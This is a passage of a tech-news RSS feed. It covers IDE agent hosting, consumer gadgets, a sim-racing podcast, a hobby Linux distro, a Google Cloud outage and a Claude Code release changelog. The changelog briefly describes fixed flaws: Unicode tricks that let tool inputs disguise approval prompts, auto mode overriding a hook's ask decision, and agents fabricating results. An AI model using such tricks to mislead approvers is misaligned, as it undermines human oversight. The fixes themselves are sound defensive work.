<content:encoded><![CDATA[<p>Developers who lean on AI coding agents often keep several editor windows open at once, each tied to its own session. The 1.129 release of Visual Studio Code reworks that setup with a dedicated agent host. A dedicated process for agent sessions The agent host is a separate process that runs agent harnesses such as Copilot, Claude, and Codex, built on the Agent Host Protocol. Because a session lives in its own process, one session … <a href="https://www.helpnetsecurity.com/2026/07/16/vs-visual-studio-code-agent-host/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/16/vs-visual-studio-code-agent-host/">VS Code agent host runs Copilot, Claude, and Codex in a dedicated process</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Loewe's new OLED TV wants to be the ultimate AV experience: each panel is 'individually calibrated before leaving the factory', and you can choose custom speaker setups — including the TV being the center of a wireless surround system]]></title>
<description><![CDATA[Loewe's latest luxury TV, the Antares, comes with a dizzying range of setup options and easy customisation too]]></description>
<link>https://tsecurity.de/de/3672584/it-nachrichten/loewes-new-oled-tv-wants-to-be-the-ultimate-av-experience-each-panel-is-individually-calibrated-before-leaving-the-factory-and-you-can-choose-custom-speaker-setups-including-the-tv-being-the-center-of-a-wireless-surround-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672584/it-nachrichten/loewes-new-oled-tv-wants-to-be-the-ultimate-av-experience-each-panel-is-individually-calibrated-before-leaving-the-factory-and-you-can-choose-custom-speaker-setups-including-the-tv-being-the-center-of-a-wireless-surround-system/</guid>
<pubDate>Thu, 16 Jul 2026 09:04:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Loewe's latest luxury TV, the Antares, comes with a dizzying range of setup options and easy customisation too]]></content:encoded>
</item>
<item>
<title><![CDATA[Install VPN on iPhone: Step-by-Step Guide for 2026]]></title>
<description><![CDATA[If you want to know how to install a VPN on iPhone, you’re in the right place — it’s dead simple, just like it should be. Today’s walkthrough shows you how to install three of the market’s best VPNs onto your iOS device, step by step. Keep reading for installation, setup and configuration instruc...]]></description>
<link>https://tsecurity.de/de/3672237/betriebssysteme/install-vpn-on-iphone-step-by-step-guide-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672237/betriebssysteme/install-vpn-on-iphone-step-by-step-guide-for-2026/</guid>
<pubDate>Thu, 16 Jul 2026 04:53:24 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>If you want to know how to install a VPN on iPhone, you’re in the right place — it’s dead simple, just like it should be. Today’s walkthrough shows you how to install three of the market’s best VPNs onto your iOS device, step by step. Keep reading for installation, setup and configuration instructions for […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/vpn/install-vpn-iphone/">Install VPN on iPhone: Step-by-Step Guide for 2026</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4684: Sim Racing on the cheap!]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


Thrustmaster TMX Force Feedback Pro Black Xbox One / Xbox Series X/S / PC




https://www.ebay.com/itm/157554569422




Dayton Audio DAEX25 Audio Exciter Pair - Sound Exciter Pair Audio Transducer - 5 Watts RMS, 8 Ohms Impedance - 2 Pack - Tu...]]></description>
<link>https://tsecurity.de/de/3672094/podcasts/hpr4684-sim-racing-on-the-cheap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672094/podcasts/hpr4684-sim-racing-on-the-cheap/</guid>
<pubDate>Thu, 16 Jul 2026 02:03:00 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
Thrustmaster TMX Force Feedback Pro Black Xbox One / Xbox Series X/S / PC</p>

<p>

<a href="https://www.ebay.com/itm/157554569422" rel="noopener noreferrer" target="_blank">
https://www.ebay.com/itm/157554569422</a>

</p>

<p>
Dayton Audio DAEX25 Audio Exciter Pair - Sound Exciter Pair Audio Transducer - 5 Watts RMS, 8 Ohms Impedance - 2 Pack - Turn Any Surface into a Speaker System</p>

<p>

<a href="https://www.amazon.com/dp/B001EYEM8C" rel="noopener noreferrer" target="_blank">
https://www.amazon.com/dp/B001EYEM8C</a>

</p>

<p>

<a href="https://www.simhubdash.com/" rel="noopener noreferrer" target="_blank">
https://www.simhubdash.com/</a>

</p>

<p>

<a href="https://www.accsetupcomparator.com/" rel="noopener noreferrer" target="_blank">
https://www.accsetupcomparator.com/ </a>

</p>

<p>

<a href="https://www.iracing.com/" rel="noopener noreferrer" target="_blank">
https://www.iracing.com/</a>
 ( they have buy 2 years get discount during holiday but still can't afford it .. )</p>

<p>

<a href="https://forza.net/horizon" rel="noopener noreferrer" target="_blank">
https://forza.net/horizon</a>

</p>

<p>

</p>

<p>
DiRT Rally 2.0 GOTY</p>

<p>

<a href="https://k4g.com/store?distribution%5B%5D=3&amp;q=DiRT%20Rally%202.0%20GOTY&amp;sort=price" rel="noopener noreferrer" target="_blank">
https://k4g.com/store?distribution[]=3&amp;q=DiRT%20Rally%202.0%20GOTY&amp;sort=price</a>

</p>

<p>

</p>

<p>
CrewChiefV4</p>

<p>

<a href="https://thecrewchief.org/" rel="noopener noreferrer" target="_blank">
https://thecrewchief.org/</a>

</p>

<p>

<a href="https://app.tracktitan.io/sessions/3ebbf63b-93de-4309-9a42-9311a745209d/20241228052252" rel="noopener noreferrer" target="_blank">
https://app.tracktitan.io/sessions/3ebbf63b-93de-4309-9a42-9311a745209d/20241228052252</a>

</p>

<p>

</p>

<p>
SUMMARY.</p>

<p>
User discusses sim racing challenges, costs, and setup tips.</p>

<p>
IDEAS.</p>

<ol>

<li>
 Sim racing requires time and investment.</li>

<li>
 I Racing is expensive with annual costs.</li>

<li>
 Set of Courses offers one-time payment.</li>

<li>
 Proper setup enhances sim racing experience.</li>

<li>
 Cable connections can complicate setup.</li>

<li>
 Upgrading hardware improves performance.</li>

<li>
 Arcade games like Forza offer casual play.</li>

<li>
 Realistic sim racing demands dedication.</li>

<li>
 License requirements vary between platforms.</li>

<li>
 Remote gaming systems save space.</li>

<li>
 Steering wheel upgrades improve smoothness.</li>

<li>
 Dedicated spaces optimize sim racing.</li>

<li>
 Balancing fun and realism is key.</li>

<li>
 Multi-launchers manage gaming platforms.</li>

<li>
 Hacked accounts may cause issues.</li>

<li>
 Monitoring hardware wear is important.</li>

<li>
 Shifting mechanisms enhance control.</li>

<li>
 Curved monitors improve immersion.</li>

<li>
 Time constraints affect sim racing participation.</li>

<li>
 Exploring multiple games adds variety.</li>

</ol>

<p>

</p>

<p>
RECOMMENDATIONS.</p>

<ol>

<li>
 Consider Set of Courses for a one-time payment.</li>

<li>
 Invest in a proper setup for serious sim racing.</li>

<li>
 Use a multi-launcher for managing games.</li>

<li>
 Upgrade hardware for smoother performance.</li>

<li>
 Buy specific tracks and cars to avoid costs.</li>

<li>
 Opt for a dedicated space for sim racing.</li>

<li>
 Check for license requirements before purchasing.</li>

<li>
 Remote into gaming systems to save space.</li>

<li>
 Replace plastic parts with bearings for smoother operation.</li>

<li>
 Use a 7-speed shifter for better control.</li>

<li>
 Avoid hacked accounts for reliability.</li>

<li>
 Purchase multiple accounts for different players.</li>

<li>
 Focus on arcade games for casual play.</li>

<li>
 Prioritize a curved monitor for immersion.</li>

<li>
 Use a standing desk for accessibility.</li>

<li>
 Monitor cable connections to prevent setup issues.</li>

<li>
 Upgrade steering wheel components for better experience.</li>

<li>
 Balance fun and realism based on personal preference.</li>

<li>
 Consider time investment for sim racing.</li>

<li>
 Explore different racing games for variety.</li>

</ol>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4684/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.211]]></title>
<description><![CDATA[What's changed

Added --forward-subagent-text flag and CLAUDE_CODE_FORWARD_SUBAGENT_TEXT environment variable to include subagent text and thinking in stream-json output
Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote ch...]]></description>
<link>https://tsecurity.de/de/3672066/downloads/v21211/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672066/downloads/v21211/</guid>
<pubDate>Thu, 16 Jul 2026 01:16:22 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>--forward-subagent-text</code> flag and <code>CLAUDE_CODE_FORWARD_SUBAGENT_TEXT</code> environment variable to include subagent text and thinking in stream-json output</li>
<li>Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote characters, so tool inputs cannot visually alter the approval message</li>
<li>Fixed auto mode overriding a PreToolUse hook's <code>ask</code> decision for unsandboxed Bash — a hook <code>ask</code> now floors the decision at a prompt</li>
<li>Fixed parallel Claude Code sessions all logging out simultaneously after wake-from-sleep when many sessions share one credential store</li>
<li>Fixed plugin MCP servers not reconnecting after an idle web session woke, leaving MCP calls failing until the next message</li>
<li>Fixed Claude Code on Vertex and Bedrock attempting the default Opus model at startup and printing a spurious fallback notice when a model is explicitly configured</li>
<li>Fixed subagents spawned with an explicit model override reverting to the parent's model when resumed or sent a follow-up message</li>
<li>Fixed nested <code>.claude/rules/*.md</code> files loading even when setting sources exclude project settings</li>
<li>Fixed file upload validation: filenames ending in a DOS device suffix (<code>.prn</code>) or trailing dot are now accepted, and files with multiple hard links are refused</li>
<li>Fixed file uploads to Claude in Chrome from remote and CLI sessions</li>
<li>Fixed edits that leave the input as "?" being silently swallowed and toggling the shortcuts panel</li>
<li>Fixed a startup hang when the Claude in Chrome extension is enabled but Chrome is not running</li>
<li>Fixed a 300ms delay revealing async content (Settings tabs, Stats, diff views, and other loading states)</li>
<li>Fixed reopening a just-stopped background session from the agents view starting a blank conversation under the same session id</li>
<li>Fixed <code>/loop</code> hiding the session from <code>/resume</code> after a single use</li>
<li>Fixed screen reader users losing the audible terminal bell after <code>/terminal-setup</code> or onboarding terminal setup</li>
<li>Fixed background jobs on LLM gateway auth (<code>ANTHROPIC_AUTH_TOKEN</code> + <code>ANTHROPIC_BASE_URL</code>) coming back "Not logged in" after the daemon respawns them</li>
<li>Fixed <code>claude agents</code> jobs becoming permanently undeletable when git no longer recognizes their worktree — the row now shows why the delete was refused instead of silently reappearing</li>
<li>Fixed <code>/clear</code> not resetting the session cost counter — the statusline's cost now starts at $0 after <code>/clear</code></li>
<li>Fixed Claude in Chrome setup pages failing to open in the browser on Windows</li>
<li>Fixed headless print-mode sessions on Windows crashing or silently exiting when stdin is unreadable</li>
<li>Fixed background session titles in the agents view showing the naming model's refusal text when the prompt contains a link</li>
<li>Fixed background agents killed by the user auto-respawning, and revived agents re-running stale prompts from old sessions</li>
<li>Fixed routines with no schedule reporting a next run time in the year 1</li>
<li>Hardened synced skill/plugin directory naming on Windows and kept CCR web fetch/search proxies working after <code>/clear</code></li>
<li>Improved terminal layout and rendering performance</li>
<li>Improved background agent result reporting — Claude now reports the status of still-running agents and waits for the real completion instead of fabricating results</li>
<li>Improved the memory index over-limit warning to measure only loaded content, excluding frontmatter and HTML comments</li>
<li>Updated integer environment variables (timeouts, token budgets, retry counts) to accept scientific notation and digit-separator spellings like <code>1e6</code> and <code>64_000</code></li>
<li>Updated documentation links to the current docs sites</li>
<li>Changed "always allow" permission rules to save at the repository root, so approvals granted in a git worktree persist across sessions and worktrees</li>
<li>Changed <code>/usage-credits</code> to ask for confirmation before sending a request to organization admins</li>
<li>Changed Vim mode <code>s</code> and <code>S</code> (substitute char/line) to work in NORMAL mode, matching vim behavior</li>
<li>[VSCode] Updated the Remote Control banner to describe what it does</li>
<li>Claude in Chrome: hardened file-upload path validation</li>
<li>Claude in Chrome: <code>save_to_disk</code> on screenshot actions now writes the image to disk and returns the path; previously it did nothing</li>
<li>Fixed a prompt-caching regression on Bedrock, Vertex, Mantle, and Foundry that billed the trailing system context block as fresh input tokens on every request.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Spotify just made managed accounts free for all parents, no Premium required]]></title>
<description><![CDATA[Spotify managed accounts are now available to many more families after Spotify removed the Premium subscription requirement for parents and guardians. Starting today, parents with a free Spotify account can create a managed account for their child in supported countries, making it easier to give ...]]></description>
<link>https://tsecurity.de/de/3671486/ios-mac-os/spotify-just-made-managed-accounts-free-for-all-parents-no-premium-required/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671486/ios-mac-os/spotify-just-made-managed-accounts-free-for-all-parents-no-premium-required/</guid>
<pubDate>Wed, 15 Jul 2026 19:25:41 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Spotify managed accounts are now available to many more families after Spotify removed the Premium subscription requirement for parents and guardians. Starting today, parents with a free Spotify account can create a managed account for their child in supported countries, making it easier to give young listeners a safer music experience with built in parental controls.



Spotify managed accounts now available on free accounts



Spotify says parents can now create a free managed account for children under 13 in the United States, the United Kingdom, Australia, France, Germany, and the Netherlands, while more countries across Europe, Latin America, and other regions will receive the feature soon.




"Managed accounts let young listeners explore music only, while you control the experience."




Parents can add a child account from the Spotify home page by selecting Add account and then Add a child under 13. During setup, they can filter explicit content, block specific songs or artists, disable videos and Canvas, and protect the main account with a PIN when using a shared device.



Spotify says managed accounts keep a child's music activity separate from the parent's account, which means recommendations, playlists, and Spotify Wrapped stay independent. Children also receive personalized music features such as Discover Weekly and Daylist while remaining in a music only environment without access to podcasts or audiobooks.




"Profiles can't be followed or searched by other users" and managed accounts also have "no in app purchases."




The company explains that managed accounts work on phones, tablets, and speakers, and children do not need their own phone to use one. Parents can manage up to 10 child accounts on the free plan, while Premium Family subscribers can also assign available Family plan slots to managed accounts for ad free listening and offline downloads.



Spotify adds that managed accounts can become regular Spotify accounts once children reach the minimum age in their country, although parents must approve the change until the user turns 18.]]></content:encoded>
</item>
<item>
<title><![CDATA[Dress up your setup: New MacBook Neo accessories match Apple’s colorful laptop]]></title>
<description><![CDATA[Satechi expanded the MacBook Neo ecosystem with color-matched hubs and a wireless mouse designed for Apple's budget notebook.
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3671311/ios-mac-os/dress-up-your-setup-new-macbook-neo-accessories-match-apples-colorful-laptop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671311/ios-mac-os/dress-up-your-setup-new-macbook-neo-accessories-match-apples-colorful-laptop/</guid>
<pubDate>Wed, 15 Jul 2026 18:11:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="439" src="https://www.cultofmac.com/wp-content/uploads/2026/07/Satechi-MacBook-Neo-accessories-1440x810.jpg.webp" class="attachment-large size-large wp-post-image" alt="Add color with three new Satechi MacBook Neo accessories." decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/07/Satechi-MacBook-Neo-accessories-1440x810.jpg.webp 1440w, https://www.cultofmac.com/wp-content/uploads/2026/07/Satechi-MacBook-Neo-accessories-400x225.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/07/Satechi-MacBook-Neo-accessories-768x432@2x.jpg.webp 1536w, https://www.cultofmac.com/wp-content/uploads/2026/07/Satechi-MacBook-Neo-accessories-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/07/Satechi-MacBook-Neo-accessories-768x432.jpg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/07/Satechi-MacBook-Neo-accessories-1020x574.jpg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/07/Satechi-MacBook-Neo-accessories.jpg.webp 1739w, https://www.cultofmac.com/wp-content/uploads/2026/07/Satechi-MacBook-Neo-accessories-400x225@2x.jpg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>Satechi expanded the MacBook Neo ecosystem with color-matched hubs and a wireless mouse designed for Apple's budget notebook.</p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sportzfy for PC on Windows 10 & 11: Safe Install Guide]]></title>
<description><![CDATA[Sportzfy is primarily an Android application, so you cannot normally install it on Windows 10 by opening a standard Windows setup file. We could not verify an official native Sportzfy .exe application or an authenticated Microsoft Store listing. To use the Android app on a Windows PC, the practic...]]></description>
<link>https://tsecurity.de/de/3670974/windows-tipps/sportzfy-for-pc-on-windows-10-11-safe-install-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670974/windows-tipps/sportzfy-for-pc-on-windows-10-11-safe-install-guide/</guid>
<pubDate>Wed, 15 Jul 2026 16:28:24 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Sportzfy is primarily an Android application, so you cannot normally install it on Windows 10 by opening a standard Windows setup file. We could not verify an official native Sportzfy .exe application or an authenticated Microsoft Store listing. To use the Android app on a Windows PC, the practical solution is to run it through […]</p>
<p>The post <a href="https://mspoweruser.com/sportzfy-for-pc-on-windows-10-11-safe-install-guide/">Sportzfy for PC on Windows 10 &amp; 11: Safe Install Guide</a> appeared first on <a href="https://mspoweruser.com/">MSPoweruser</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[LankeOS — A fully independent Linux distro built from scratch with a custom C++20 atomic package manager, Linux 7.1.1, and pure Wayland. Come vote for it on DistroWatch!]]></title>
<description><![CDATA[Hi everyone, I’ve been working on a fully independent Linux distribution for the past 5 months – no Debian/Arch/Fedora base, everything built from upstream source using my own toolchain. Now I think it brings something genuinely new to the table. Here is LankeOS, a fully independent Linux distrib...]]></description>
<link>https://tsecurity.de/de/3670775/linux-tipps/lankeos-a-fully-independent-linux-distro-built-from-scratch-with-a-custom-c-20-atomic-package-manager-linux-711-and-pure-wayland-come-vote-for-it-on-distrowatch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670775/linux-tipps/lankeos-a-fully-independent-linux-distro-built-from-scratch-with-a-custom-c-20-atomic-package-manager-linux-711-and-pure-wayland-come-vote-for-it-on-distrowatch/</guid>
<pubDate>Wed, 15 Jul 2026 15:11:50 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi everyone,</p> <p>I’ve been working on a fully independent Linux distribution for the past 5 months – no Debian/Arch/Fedora base, everything built from upstream source using my own toolchain.</p> <p>Now I think it brings something genuinely new to the table.</p> <p>Here is LankeOS, a fully independent Linux distribution built from scratch by a solo developer. If you're tired of "just another Ubuntu/Debian/Arch derivative," this one is genuinely different.</p> <p>What makes LankeOS special</p> <ol> <li>Custom package manager — lpkg (written in C++20)</li> </ol> <p>This is the centerpiece. lpkg is a from-scratch package manager with a WAL atomic transaction system — meaning it can survive power loss mid-install without breaking your system. It includes:</p> <p>- ELF DT_NEEDED verification — validates every shared library dependency against the repo before installing. No "missing .so" surprises.</p> <p>- Ctrl+C handling — the signal waits for current operation + rollback.</p> <p>- 410+ regression tests — including simulated power-loss recovery scenarios.</p> <p>- Aggregated index format — compact single-file index with all version/hash/dep info per package.</p> <p>- Static build support — one binary, runs anywhere.</p> <p>- Package transaction system with WAL-based logging, atomic commit, and rollback support — bringing database-style reliability to traditional mutable Linux package management.</p> <p>- .lpkg format = tar.zst + embedded metadata.json + content/ + hooks/</p> <ol> <li>Not a derivative — built from LFS methodology</li> </ol> <p>LankeOS is not based on Debian, Arch, Fedora, or any existing distro. Every one of its 284 packages is built from upstream source using its own LankeBUILD system. This is a true independent distribution.</p> <p>It supports modern hardware and runs perfectly on my Dell OptiPlex 5000 Micro.</p> <ol> <li>Modern (bleeding edge) software stack</li> </ol> <p>- Linux Kernel 7.1.1</p> <p>- GCC 16.1.1, LLVM/Clang 22.1, glibc 2.42</p> <p>- systemd 257.8</p> <p>- Wayland desktop via niri</p> <p>- PipeWire audio stack, Mesa graphics</p> <p>- Firefox, WebKitGTK, GTK3/4</p> <p>- OpenJDK 25, Node.js, Go, Rust 1.96, Ruby 4.0, Python 3 out of the box</p> <p>- mihomo proxy, fcitx5 Chinese input with CJK fonts</p> <ol> <li>Incredibly lean and fast</li> </ol> <p>- ~4 second boot from power-on to desktop in qemu</p> <p>- Runs on as little as 400-500 MiB RAM</p> <p>- toram kernel parameter copies the entire system to RAM for fully disk-less operation</p> <p>- OverlayFS-based persistent storage via LABEL=LANKE_DATA partition</p> <ol> <li>Smart initramfs with version-aware upgrades</li> </ol> <p>The init script detects version mismatches between the base file and the upper paritition, automatically enters a "live upgrade mode," and notifies the user. Built-in installer (lanke_install) handles GPT formatting, copying, and GRUB setup in one guided flow.</p> <p>Why LankeOS?</p> <p>LankeOS is built around three principles:</p> <p>### 1. Engineering first</p> <p>Instead of focusing on visual customization or superficial changes, LankeOS focuses on the underlying engineering of a Linux distribution.</p> <p>It provides its own:</p> <p>- build system (LankeBUILD)</p> <p>- package manager (lpkg)</p> <p>- package format</p> <p>- repository infrastructure</p> <p>- init and upgrade logic</p> <p>Every component exists because it solves a real system engineering problem.</p> <p>### 2. High technical density</p> <p>LankeOS aims to provide a complete development and daily-use environment while keeping the system lightweight.</p> <p>A single installation image includes:</p> <p>- complete C/C++/Rust/Python/Go/Java development toolchains</p> <p>- modern graphics stack (Wayland, Mesa, Vulkan)</p> <p>- multimedia support (PipeWire, FFmpeg)</p> <p>- desktop applications (Firefox, mpv, etc.)</p> <p>- package management and system development tools</p> <p>The goal is not to minimize the number of packages, but to maximize the amount of usable capability per byte.</p> <p>### 3. Stability through controlled complexity</p> <p>Although LankeOS follows a rolling-release model and uses recent upstream software, stability is achieved through strict integration testing.</p> <p>Every release is tested on real hardware, not only virtual machines.</p> <p>The development process includes:</p> <p>- reproducible package builds</p> <p>- dependency verification</p> <p>- regression tests</p> <p>- transaction-safe package operations</p> <p>- real hardware validation</p> <p>LankeOS is designed for users who want the flexibility of a lightweight distribution without sacrificing reliability.</p> <p>It is not another customized Linux image.</p> <p>It is an experiment in building a complete Linux distribution from the foundations up:</p> <p>a system where every layer can be understood, rebuilt, and improved.</p> <p>Links</p> <p>- GitHub: <a href="http://github.com/Wtada233/LankeOS">github.com/Wtada233/LankeOS</a></p> <p>- Package repo: <a href="http://lankerepo.wtada233.top/x86_64">lankerepo.wtada233.top/x86_64</a></p> <p>- Official site: <a href="http://lankeos.wtada233.top/">lankeos.wtada233.top</a></p> <p>- DistroWatch: <a href="https://distrowatch.com/dwres.php?waitingdistro=1104&amp;resource=links#new">https://distrowatch.com/dwres.php?waitingdistro=1104&amp;resource=links#new</a></p> <p>TL;DR: LankeOS is what happens when someone reads LFS anre distro around this" — with a crash-proof C++20 package</p> <p>manager, Linux 7.1.1, Wayland+Xwayland, 284 hand-built packages and a size of 1.24GiB. Go give it a vote on DistroWatch.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Wtada233"> /u/Wtada233 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uw5yab/lankeos_a_fully_independent_linux_distro_built/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uw5yab/lankeos_a_fully_independent_linux_distro_built/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Cloud configuration update disrupts VMware Engine stretched clusters]]></title>
<description><![CDATA[A faulty configuration update on Google Cloud VMware Engine (GCVE) caused a multi-region disruption on Tuesday, disrupting inter-zone connectivity across three regions.



The incident, which lasted for over ten hours, began at 5:00 PM UTC on July 14 and was resolved by 04:46 AM UTC on July 15. I...]]></description>
<link>https://tsecurity.de/de/3670376/it-security-nachrichten/google-cloud-configuration-update-disrupts-vmware-engine-stretched-clusters/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670376/it-security-nachrichten/google-cloud-configuration-update-disrupts-vmware-engine-stretched-clusters/</guid>
<pubDate>Wed, 15 Jul 2026 12:53:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A faulty configuration update on Google Cloud VMware Engine (GCVE) caused a multi-region disruption on Tuesday, disrupting inter-zone connectivity across three regions.</p>



<p class="wp-block-paragraph">The incident, which lasted for over ten hours, began at 5:00 PM UTC on July 14 and was resolved by 04:46 AM UTC on July 15. It affected VMware Engine stretched clusters in Sydney (australia-southeast1), Melbourne (australia-southeast2), and Frankfurt (europe-west3). </p>



<p class="wp-block-paragraph">Google later identified a recent network configuration update as the cause of the inter-zone network disruption and mitigated the issue by rolling back the faulty configuration to its last-known configuration.</p>



<h2 class="wp-block-heading">Google traces the fault</h2>



<p class="wp-block-paragraph">The first status update, posted at 08:24 PM UTC on July 14, described the incident as a network connectivity issue affecting stretched clusters, while compute and storage services remained unaffected. At that time, GCVE VMs were running as expected, but the company acknowledged that customers may experience connectivity issues with the VMs. </p>



<p class="wp-block-paragraph">But soon after, the preliminary investigation indicated that the issue could be stemming from an underlying network connectivity issue affecting the infrastructure that links the zones within a stretch cluster. </p>



<p class="wp-block-paragraph">“This disruption is causing synchronization issues between the affected zones, and some GCVE customers using Stretched Cluster may experience inter-site communication failures to their GCVE environments within the affected zones,” Google Cloud said in a notification.</p>



<p class="wp-block-paragraph">While the company was working on restoring full connectivity, Google advised moving workloads to the healthy side of the stretched cluster, where feasible, and only after consulting Google Support.</p>



<p class="wp-block-paragraph">Less than two hours after the first update, Google Cloud identified underlying inter-zone communication failures and <a href="https://www.networkworld.com/article/969572/bgp-what-is-border-gateway-protocol-and-how-does-it-work.html?utm=hybrid_search">Border Gateway Protocol (BGP)</a> session flapping between cluster zones. “Specifically, network connectivity has been lost between the affected zones and the witness appliance. Because the witness appliance is currently unreachable, the cluster zones are unable to safely synchronize state. As a result, VMs on the affected sites are becoming isolated and may be left without writable data,” noted the company. </p>



<p class="wp-block-paragraph">And at 11:05 PM UTC, it posted that the investigation has identified a recent configuration update that is the likely cause of the inter-zone network disruption, and at 04:46 AM UTC on July 15, the engineering team mitigated the issue by rolling back the faulty configuration to its last-known good value.</p>



<p class="wp-block-paragraph">“Google made a network setting change that accidentally broke the connection between the two data center zones in VMware Engine. The <a href="https://www.networkworld.com/article/969185/what-is-a-virtual-machine-and-why-are-they-so-useful.html?utm=hybrid_search">virtual machines</a> themselves kept running fine, but nobody could reach them, and there was a risk that some machines might lose the ability to save data properly. This indicates that even managed cloud infrastructure can experience failures in critical shared network components,” said Pareekh Jain, CEO at  EIIRTrend &amp; Pareekh Consulting.</p>



<p class="wp-block-paragraph">Neil Shah, vice president at Counterpoint Research, said the real culprit here is the SDN orchestration control plane, where a routine internal network update or configuration tweak introduced routing failure across multiple zones. “While most of the physical nodes are distributed for exactly this redundancy purpose, they are still tightly coupled to a singular shared orchestration fabric, so if that control plane crashes, then everything comes crashing down, and the physical distributed nodes become irrelevant.”</p>



<h2 class="wp-block-heading">Stretched clusters fall short</h2>



<p class="wp-block-paragraph">Although the outage did not bring down virtual machines, the incident undermined the primary reason enterprises deploy stretched clusters.</p>



<p class="wp-block-paragraph">“Stretched clusters are designed to keep applications running if one site fails. When the network connecting the two sites is disrupted, that resilience breaks down, leaving workloads inaccessible despite healthy compute and storage. The incident shows that network infrastructure can become a single point of failure,” highlighted Jain.</p>



<p class="wp-block-paragraph">Jain noted companies use this setup specifically for their most important systems, the ones that can’t afford to go offline, like hospital records, banking systems, or company databases. A 12-hour outage on systems like that can mean lost money, missed deadlines, angry customers, and in some industries, legal or regulatory trouble.</p>



<h2 class="wp-block-heading">Rethinking resilience</h2>



<p class="wp-block-paragraph">The incident also highlights that deploying stretched clusters alone does not eliminate dependency on the cloud provider’s underlying networking and control plane.</p>



<p class="wp-block-paragraph">“If CIOs are looking to achieve absolute <a href="https://www.networkworld.com/article/4137371/digital-sovereignty-options-for-on-prem-deployments.html?utm=hybrid_search">digital sovereignty</a>, mission-critical production data must be decoupled from the automation layer. The asynchronous geo-separation with multi-cloud deployment could be a more viable strategy to avoid a single systematic point of failure,” added Shah. </p>



<p class="wp-block-paragraph">Jain added that leaders should ask their cloud provider exactly what parts are shared versus separate, keep a true backup plan outside that same provider for their most critical systems, regularly test what happens if the provider’s systems fail, and make sure contracts account for compensation if this happens again.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Satechi Brings Color-Matched Hubs And Mouse To The MacBook Neo]]></title>
<description><![CDATA[Apple made a few compromises to hit a low starting price for its newest budget laptop. The MacBook Neo ships with just two USB-C ports and a headphone jack, missing standard connections like HDMI or SD card slots. To fix this gap, accessory maker Satechi just dropped a brand new collection of hub...]]></description>
<link>https://tsecurity.de/de/3670272/ios-mac-os/satechi-brings-color-matched-hubs-and-mouse-to-the-macbook-neo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670272/ios-mac-os/satechi-brings-color-matched-hubs-and-mouse-to-the-macbook-neo/</guid>
<pubDate>Wed, 15 Jul 2026 12:10:07 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
